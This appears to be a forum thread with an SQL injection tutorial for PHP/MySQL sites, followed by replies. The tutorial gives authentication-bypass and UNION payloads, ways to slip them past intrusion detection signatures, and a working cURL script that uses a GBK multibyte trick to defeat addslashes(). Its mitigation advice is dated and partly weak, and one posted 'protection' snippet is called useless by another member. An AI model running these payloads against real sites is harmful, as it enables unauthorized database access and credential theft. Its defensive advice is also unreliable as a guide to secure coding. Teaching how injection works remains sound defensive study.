SQL Injection

[arnage]

SQL Injection Types

There are a number of categorized SQL injection types that can be executed with a web-browser. They are:
Poorly Filtered Strings
Incorrect Type Handling
Signature Evasion
Filter Bypassing
Blind SQL Injection

Poorly Filtered Strings

SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. This means that a user can input a variable that can be passed on as an SQL statement, resulting in database input manipulation by the end user.

Code that is vulnerable to this type of vulnerability might look something like this:

$pass = $_GET['pass'];
$password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';"); 

The query above is an SQL call to SELECT the password from the users database, with the password value being that of $var. If the user were to input a password that was especially designed to continue the SQL call, it may result in results that were not aforethought. An injection for this may look something like:

' OR 1 = 1 /* 

Inserting the above into the form will result in the query being extended with an OR statement, resulting in a final query of:

SELECT password FROM users WHERE password = '' OR 1 = 1 /* 

Because of the OR statement in the SQL query, the check for password = $var is insignificant as 1 does equal 1, thus the query will return TRUE, resulting in a positive login.

Incorrect Type Handling
Incorrect type handling based SQL injections occur when an input is not checked for type constraints. An example of this would be an ID field that is numeric, but there is no filtering in place to check that the user input is numeric. is_numeric() should always be used when the field type is explicitly supposed to be a number. An example of code that will not be subject to incorrect type handling injection is:

(is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1;
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" ); 

The above code checks that $_GET['id'] is a number, if TRUE returns $id = $_GET['id'], and if FALSE sets $id to 1. This kind of filtering will assure that the ID field is always numeric.

Different Encoding

Signature evasion can be made possible with a number of encoding tricks.
One basic and common encoding trick is the use of URL encoding. URL encoding would change an injection string that would normally look like the following:

NULL OR 1 = 1/* 

To a URL encoded string that would be masked as:

NULL+OR+1%3D1%2F%2A 

Thus the installed IDS system may not register the attack, and the signature will be evaded.

White Space Multiplicity

As common signature databases check for strings such as "OR " (OR followed by a space), it is possible to evade these signatures using different spacing techniques. These techniques can be the use of tabs, new lines/carriage return line feeds, and a variety of other white spaces.

If a signature is checking for OR followed by a space, it is possible to insert a new line as a space, which would be possible using the %0a value within a URL bar. Thus an injection that would normally look like:

NULL OR 'value'='value'/* 

The whitespace within the injection would be replaced by a new line, looking like:

NULL%0aOR%0a'value'='value'/* 

Would now appear to the server as:

NULL
OR
'value'='value'/* 

The above string would then bypass the intrusion detection/prevention system and be executed within the MySQL server.

Arbitrary String Patterns

In MySQL, comments can be inserted into a query using the C syntax of /* to start the comment, and */ to end the comment. These comment strings can be used to evade signature detection of common words such as UNION, or OR. The following injection pattern may be picked up by an IDS:

NULL UNION ALL SELECT user,pass, FROM user_db WHERE user LIKE '%admin%/* 

However, the same IDS may not detect the injection if keywords were commented as follows:

NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FROM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'// 

The above breaks up keywords that an IPS such as Apache's mod_security would normally detect, allow the SQL injection attack to parse, and database tables to be read. Of course, an IDS will be able to check for strings of /* and */, however, a lot of sites, including blogging sites, pastebins, news sites etc may need to use C commenting blocks, resulting in a false positive.

Filter Bypassing

addslashes() & magic_quotes_gpc

In rare cases under certain conditions, filters such as addslashes() and magic_quotes_gpc can be bypassed when the vulnerable SQL server is using certain character sets such as the GBK character set.

In GBK, the hex value of 0xbf27 is not a valid multi-byte character, however, the hex value of 0xbf5c is. If the characters are constructed as single-byte characters, 0xbf5c is 0xbf (¿) followed by 0x5c (\); ¿\. And 0xbf27 is 0x27 (') following a 0xbf (¿); ¿'.

This comes in handy when single quotes are escaped with a backslash (\) using addslashes() or when magic_quotes_gpc is turned on. Although it appears at first that the injection point is blocked via one of these methods, we can bypass this by using 0xbf27. By injecting this hex code, addslashes() will modify 0xbf27 to become 0xbf5c27, which is a valid multi-byte character (0xbf5c) and is followed by an non-escaped inverted comma. In other words, 0xbf5c is recognised as a single character, so the backslash is useless, and the quote is not escaped.

Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection:

<?php
$url     = "http://www.victimsite.com/login.php";
$ref     = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";

$ch      = curl_init();
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
curl_setopt( $ch, CURLOPT_COOKIE,         $session );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>

The CURLOPT_POSTFIELDS line sets the characters to be passed as multi-byte characters, and finishes the statement with OR 1=1/*, thus creating an injection that will bypass the addslashes() and/or magic_quotes_gpc checking.

SQL Injection Mitigation

There are a number of ways to prevent MySQL injections within PHP. The most common ways are using functions such as addslashes() and mysql_real_escape_string().

addslashes()

addslashes() will return a string with a backslash before characters that need to be sanitized in database queries. These characters are single quotes (' = \') double quotes (" = \") and the nullbyte (%00 = \0).

addslashes() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:

$id = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $id; 

However, if the script looked something like the following, addslashes() would prevent an SQL injection:

$uname = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = "' . $uname . '"; 

mysql_real_escape_string()

mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:

$uname = mysql_real_escape_string( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $uname; 

However, if the script looked something like the following, mysql_real_escape_string() would prevent an SQL injection:

$uname = mysql_real_escape_string( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = "' . $uname . '"; 

is_numeric()

PHP's is_numeric() function can be used to check if a query is numeric or not, and return TRUE or FALSE. This function can be used to prevent SQL injections where the $id integer is called. The following is an example of the use of is_numeric() to prevent SQL injection:

$id = $_GET['id'];
( is_numeric( $id ) ? TRUE : FALSE ); 

sprintf()

sprintf() can be used with conversion specifications to ensure that the dynamic argument is treated the way it's suppose to be treated. For example, if a call for the users ID number were in the string, %d would be used to ensure the argument is treated as an integer, and presented as a (signed) decimal number. An example of this is as follows:

$id = $_GET['id'];
$query = sprintf("SELECT username FROM users WHERE id = '%d' ", $id); 

htmlentities($var, ENT_QUOTES)

htmlentities() in conjunction with the optional second quote_style parameter, allows the use of ENT_QUOTES, which will convert both double and single quotes. This will work in the same sense as addslashes() and mysql_real_escape_string() in regards to quotation marks, however, instead of prepending a backslash, it will use the HTML entity of the quotation mark.

In addition to using ENT_QUOTES within htmlentities(), a third parameter can be set which forces the use of a character set within conversion. This will help stop unpredicted results from using multibyte characters in character sets such as BIG5 and GPK.

The following is an example of code which would help to prevent SQL injection in PHP.

$id = $_GET['id'];
$id = htmlentities( $id, ENT_QUOTES, 'UTF-8' );
 
$query = 'SELECT username FROM users WHERE id = "' . $id . '"'; 

SQL_Injection

---

Take note for writing queries, even in this tutorial numbers in queries are quoted like string:

$query = 'SELECT username FROM users WHERE id = "' . $id . '"'; 

... where it should be:

$query = 'SELECT username FROM users WHERE id = ' . $id . ''; 

thats why are multibytes passed.

[ionutz]

If we're on that chapter and I can provide protection against SQL injection

function connectdb()
{
global $dbname, $dbuser, $dbhost, $dbpass;
$conms = @mysql_connect($dbhost,$dbuser,$dbpass); //connect mysql
if(!$conms) return false;
$condb = @mysql_select_db($dbname);
if(!$condb) return false;

global $_SERVER, $HTTP_USER_AGENT, $HTTP_X_DEVICE_USER_AGENT;
$HTTP_USER_AGENT = mysql_real_escape_string($HTTP_USER_AGENT);
$HTTP_X_DEVICE_USER_AGENT = mysql_real_escape_string($HTTP_X_DEVICE_USER_AGENT);
$_SERVER["HTTP_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
$_SERVER["HTTP_X_DEVICE_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_X_DEVICE_USER_AGENT"]);

return true;

} 

[m4ster_v4]

If we're on that chapter and I can provide protection against SQL injection

function connectdb()
{
global $dbname, $dbuser, $dbhost, $dbpass;
$conms = @mysql_connect($dbhost,$dbuser,$dbpass); //connect mysql
if(!$conms) return false;
$condb = @mysql_select_db($dbname);
if(!$condb) return false;

global $_SERVER, $HTTP_USER_AGENT, $HTTP_X_DEVICE_USER_AGENT;
$HTTP_USER_AGENT = mysql_real_escape_string($HTTP_USER_AGENT);
$HTTP_X_DEVICE_USER_AGENT = mysql_real_escape_string($HTTP_X_DEVICE_USER_AGENT);
$_SERVER["HTTP_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
$_SERVER["HTTP_X_DEVICE_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_X_DEVICE_USER_AGENT"]);

return true;

} 

Only protect on user-agent ?

[ionutz]

Yes this code only protects users and they can not enter illegally in the database:D

[arnage]

If we're on that chapter and I can provide protection against SQL injection

function connectdb()
{
global $dbname, $dbuser, $dbhost, $dbpass;
$conms = @mysql_connect($dbhost,$dbuser,$dbpass); //connect mysql
if(!$conms) return false;
$condb = @mysql_select_db($dbname);
if(!$condb) return false;

global $_SERVER, $HTTP_USER_AGENT, $HTTP_X_DEVICE_USER_AGENT;
$HTTP_USER_AGENT = mysql_real_escape_string($HTTP_USER_AGENT);
$HTTP_X_DEVICE_USER_AGENT = mysql_real_escape_string($HTTP_X_DEVICE_USER_AGENT);
$_SERVER["HTTP_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
$_SERVER["HTTP_X_DEVICE_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_X_DEVICE_USER_AGENT"]);

return true;

} 

This is not any protection, its just a bunch of deprecated globals mixed with sql connect function where it shouldn't be there.
Please check snippets before posting it, don't just copy-paste some "codes".

[shushant]

Hey Dude Is

mysql_real_escape_string()

Can Be Bypass ?

[arnage]

The answer on that question so as solution is in this post.

[arbind004]

thxxxx its very use full for new wapmster!!